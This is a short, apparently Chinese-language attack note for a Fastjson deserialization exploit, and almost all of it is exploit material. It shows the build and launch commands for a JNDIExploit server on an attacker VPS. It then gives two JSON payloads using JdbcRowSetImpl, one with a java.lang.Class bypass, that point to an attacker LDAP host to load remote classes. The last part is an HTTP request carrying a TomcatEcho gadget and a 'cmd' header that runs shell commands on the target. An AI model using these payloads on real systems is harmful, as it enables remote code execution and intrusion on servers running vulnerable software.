1. # https://github.com/Jeromeyoung/JNDIExploit-1
    2. # mvn clean package -DskipTests
    3. java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vps地址

    payload 请求

    1. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps地址:1389/badClassName", "autoCommit":true}
    1. POST / HTTP/1.1
    2. Host: x.x.x.x
    3. ...
    4. cmd: ls /tmp
    5. ...
    6. {
    7. "a":{
    8. "@type":"java.lang.Class",
    9. "val":"com.sun.rowset.JdbcRowSetImpl"
    10. },
    11. "b":{
    12. "@type":"com.sun.rowset.JdbcRowSetImpl",
    13. "dataSourceName":"ldap://vps地址:1389/Basic/TomcatEcho",
    14. "autoCommit":true
    15. }
    16. }